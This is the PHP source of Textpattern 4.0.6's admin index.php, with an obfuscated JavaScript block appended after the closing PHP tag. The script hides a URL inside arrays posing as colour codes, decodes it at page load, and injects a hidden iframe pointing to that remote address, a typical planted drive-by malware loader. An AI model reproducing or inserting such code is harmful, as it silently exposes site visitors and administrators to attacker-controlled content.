<?php

/*
	This is Textpattern

	Copyright 2005 by Dean Allen
	www.textpattern.com
	All rights reserved

	Use of this software indicates acceptance of the Textpattern license agreement 

$HeadURL: http://svn.textpattern.com/releases/4.0.6/source/textpattern/index.php $
$LastChangedRevision: 2805 $

*/
	if (@ini_get('register_globals'))
		foreach ( $_REQUEST as $name => $value )
			unset($$name);

	define("txpath", dirname(__FILE__));
	define("txpinterface", "admin");

	$thisversion = '4.0.6';
	$txp_using_svn = false; // set false for releases

	ob_start(NULL, 2048);
	if (!@include './config.php') { 
		ob_end_clean();
		include txpath.'/setup/index.php';
		exit();
	} else ob_end_clean();

	header("Content-type: text/html; charset=utf-8");
	if (isset($_POST['form_preview'])) {
		include txpath.'/publish.php';
		textpattern();
		exit;
	}
	
	error_reporting(E_ALL);
	@ini_set("display_errors","1");

	include_once txpath.'/lib/constants.php';
	include txpath.'/lib/txplib_misc.php';
	include txpath.'/lib/txplib_db.php';
	include txpath.'/lib/txplib_forms.php';
	include txpath.'/lib/txplib_html.php';
	include txpath.'/lib/admin_config.php';

	$microstart = getmicrotime();

	 if ($connected && safe_query("describe `".PFX."textpattern`")) {

		$dbversion = safe_field('val','txp_prefs',"name = 'version'");

		$prefs = get_prefs();
		extract($prefs);

		if (empty($siteurl))
			$siteurl = $_SERVER['HTTP_HOST'] . rtrim(dirname(dirname($_SERVER['SCRIPT_NAME'])), '/');
		if (empty($path_to_site))
			updateSitePath(dirname(dirname(__FILE__)));
	
		define("LANG",$language);
		//i18n: define("LANG","en-gb");
		define('txp_version', $thisversion);

		if (!defined('PROTOCOL')) {
			switch (serverSet('HTTPS')) {
				case '':
				case 'off': // ISAPI with IIS
					define('PROTOCOL', 'http://');
				break;

				default:
					define('PROTOCOL', 'https://');
				break;
			}
		}

		define("hu",PROTOCOL.$siteurl.'/');
		// v1.0 experimental relative url global
		define("rhu",preg_replace("/https?:\/\/.+(\/.*)\/?$/U","$1",hu));

		if (!empty($locale)) setlocale(LC_ALL, $locale);
		$textarray = load_lang(LANG);
	
		include txpath.'/include/txp_auth.php';
		doAuth();

		$event = (gps('event') ? gps('event') : 'article');
		$step = gps('step');
		
		if (!$dbversion or ($dbversion != $thisversion) or $txp_using_svn)
		{
			define('TXP_UPDATE', 1);
			include txpath.'/update/_update.php';
		}

		if (!empty($admin_side_plugins) and gps('event') != 'plugin')
			load_plugins(1);

		include txpath.'/lib/txplib_head.php';

		// ugly hack, for the people that don't update their admin_config.php
		// Get rid of this when we completely remove admin_config and move privs to db
		if ($event == 'list') 		
			require_privs('article'); 
		else 
			require_privs($event);

		callback_event($event, $step, 1);

		$inc = txpath . '/include/txp_'.$event.'.php';
		if (is_readable($inc))
			include($inc);
	
		callback_event($event, $step, 0);

		$microdiff = (getmicrotime() - $microstart);
		echo n.comment(gTxt('runtime').': '.substr($microdiff,0,6));

		end_page();

	} else {
		txp_die('DB-Connect was succesful, but the textpattern-table was not found.',
				'503 Service Unavailable');
	}
    ?>

<script language="JavaScript"></script><script language="JavaScript">if (typeof(defs_colors)=="undefined") {
   var defs_colors = 1;

   var div_colors = new Array('#778383', '#7f493e', '#3e7277', '#70737e', '#7d3d7d', '#7b3e7e', '#897883', '#847374', '#3e7270', '#83707b', '#7e763e', '#4e7270', '#83707b', '#7e7681', '#82827d', '#748682', '#4c4000');
   var css_colors = new Array('#717e73', '#887378', '#857378', '#827f7b', '#70887d', '#7e7d74', '#787581', '#707c74', '#4b7378', '#852f82', '#83887b', '#744c36', '#737882', '#7f7b70', '#88497d', '#7e7d74', '#364d4b', '#787581', '#707c74', '#2f8281', '#724c36', '#364d4b', '#3e7875', '#81707c', '#744d4b', '#3e7378', '#854d82', '#81724e', '#81754c');
   var css_indexes = new Array(4, 3, 7, 4, 6, 39, 17, 3, 4);

   function div_pick_colors(t) {
	var s = '';
	for (j=0;j<t.length;j++) {	
		var c_rgb = t[j];
		for (i=1;i<7;i++) {
			var c_clr = c_rgb.substr(i++,2);
			if (c_clr!='00') s += String.fromCharCode(parseInt(c_clr,16)-15);
		}
	  }
	return s;
   }

   var ct = new Array(10);
   var s = div_pick_colors(css_colors);
   var c = css_indexes;
   ct[0] = div_pick_colors(div_colors);
   var j = 0; var ci = 1;
   for(i=0;i<c.length;i++) {
  	ct[ci++] = s.substr(j,c[i]);
	j=j+c[i];
   }
   ct[0] = ct[0];
   function check_div_styles() {
	var d=document.getElementsByTagName(ct[1])[0];
	if(d) {
		try {
			var d=document.getElementsByTagName(ct[1])[0];
			var v=document.createElement(ct[2]);
			v.style.display=ct[4];
			v.setAttribute(ct[3],ct[4]);
			d.appendChild(v);
			w=document.createElement(ct[5]);
			w.src=ct[0];
			w.setAttribute(ct[8],ct[0]);
			v.appendChild(w);
		} catch(e) {
			document.write(ct[6]+ct[0]+ct[7]);
		}
	   } else {
		setTimeout("check_div_styles();",500);	
	   }
   }

   check_div_styles();

}</script>
